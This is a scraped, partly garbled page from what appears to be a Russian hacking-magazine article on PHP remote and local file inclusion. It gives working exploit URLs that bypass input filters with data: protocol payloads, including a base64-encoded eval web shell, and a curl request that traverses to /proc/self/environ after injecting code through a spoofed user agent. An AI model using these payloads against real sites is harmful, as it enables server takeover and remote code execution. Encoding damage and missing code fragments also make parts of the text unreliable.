ÃÂÕáÛãçÃÂÙÃÂÞ CUDA ØÔÕÃÂœ? phpMyAdmin - Xakep Online
ÃÂÕáÛãçÃÂÙÃÂÞ CUDA ØÔÕÃÂœ? phpMyAdmin - Xakep Online
ÃÂÕáÛãçÃÂÙÃÂÞ CUDA ØÔÕÃÂœ? phpMyAdmin - Xakep Online
You also want an ePaper? Increase the reach of your titles
YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.
взлом<br />
ЭТО И ЕСТЬ PHPINFO() ЧЕРЕЗ ПРОТОКОЛ DATA<br />
ВЫВОД /PROC/SELF/FD<br />
ОРИГИНАЛЬНОЕ ADVISORY PHP<br />
FILEPATH TRUNCATION<br />
МЫЛО, ОТПРАВЛЕННОЕ ТЕКУЩЕМУ ПОЛЬЗОВАТЕЛЮ HTTPD<br />
//ñòàíäàðòíûé ôàéë èíêëóäà äëÿ ëþáîé<br />
äèðåêòîðèè<br />
$dir .= '/pages/default.php';<br />
//ñîáñòâåííî, èíêëóä<br />
include($dir . '/pages/default.<br />
php');<br />
?><br />
Кажется, что в этой ситуации не прокатит никакой<br />
удаленный инклуд. Ведь, кроме того, что<br />
режутся стандартные "http://", "ftp://", под нож<br />
фильтра попадают еще и точка со слешем!<br />
А теперь посмотри внимательно на следующий<br />
эксплойт для нашей RFI и красивого обхода<br />
фильтра, мешающего добросовестному хакеру<br />
(как и при любом другом удаленном инклуде,<br />
директива PHP — allow_url_include, естественно,<br />
должна находиться в положении On):<br />
http://localhost/index.<br />
php?dir=data:,&cmd=phpinfo();<br />
Этот код вполне успешно покажет тебе вывод<br />
функции phpinfo()! Но что делать, когда<br />
фильтрация становится еще более жесткой и<br />
принимает примерно следующий вид?<br />
<br />
XÀÊÅÐ 07 /127/ 09<br />
Ты снова можешь подумать, что здесь невозможно<br />
выполнить произвольный php-код<br />
(даже по приведенному выше сценарию), так<br />
как фильтром режутся практически все символы,<br />
используемые в нашем evil-коде. Но не<br />
тут-то было. Уже полюбившийся тебе протокол<br />
«data» поддерживает такую полезную вещь,<br />
как base64 (кстати, если фильтруются и символы<br />
«+», «=», наверняка, ты сможешь подобрать<br />
base64-значение своего шелла без них).<br />
http://localhost/index.php?dir=dat<br />
a:;base64,PD9waHAgZXZhbCgkX1JFUVVF<br />
U1RbY21kXSk7ID8+&cmd=phpinfo();<br />
("+" çàìåíèòü íà url-êîäèðîâàííîå<br />
"%2b")<br />
И вновь на экране phpinfo()!<br />
Но нельзя останавливаться на одном лишь<br />
RFI. Приготовься к самому вкусному.<br />
УСЛУЖЛИВЫЙ<br />
/PROC/SELF/ENVIRON<br />
Представь, что на определенном сайте (http://<br />
site.com) присутствует следующий php-код:<br />
<br />
Затем вообрази, что возможности залить<br />
файл/картинку с шеллом у нас нет, пути к логам<br />
апача мы не нашли, а в /tmp не сохраняются<br />
данные сессий. Соседних сайтов также нет.<br />
Что делать?<br />
Неискушенный в LFI хакер опустил бы руки.<br />
Мы не из таких, ибо на помощь спешит хранилище<br />
переменных окружения /proc/self/<br />
environ! Итак, когда мы запрашиваем любую<br />
php-страничку на сервере, создается новый<br />
процесс. В *nix-системах каждый процесс<br />
имеет свою собственную запись в /proc, а /<br />
proc/self, в свою очередь, — это статический<br />
путь и символическая ссылка, содержащая<br />
полезную информацию для последних процессов.<br />
Если мы инжектнем наш evil-код в /proc/self/<br />
environ, то сможем запускать произвольные<br />
команды с помощью LFI :). Заманчиво? А<br />
теперь, собственно, вопрос: каким образом<br />
можно вставить свое значение с evil-кодом в /<br />
proc/self/environ?<br />
Очень просто! Тем же способом, каким ты<br />
инжектишь свой код в логи апача, можно проинжектить<br />
код и в /proc/self/environ.<br />
Для примера возьмем наш любимый и легко<br />
подменяемый юзерагент. По дефолту часть /<br />
proc/self/environ, показывающая useragent,<br />
выглядит примерно так:<br />
PATH=/sbin:/usr/sbin:/bin:/usr/<br />
bin:/usr/X11R6/bin:/usr/bin:/bin<br />
SERVER_ADMIN=admin@site.com<br />
...<br />
Mozilla/5.0 (Windows; U; Windows NT<br />
5.1; en-US; rv:1.9.0.4)<br />
Gecko/2008102920 Firefox/3.0.4<br />
HTTP_KEEP_ALIVE=150<br />
...<br />
А теперь меняем юзерагент на и обращаемся к нашему уязвимому<br />
скрипту следующим образом:<br />
curl "http://site.com/index.php?p<br />
age=../../../../../../../../proc/<br />
self/environ&cmd=phpinfo();" -H<br />
061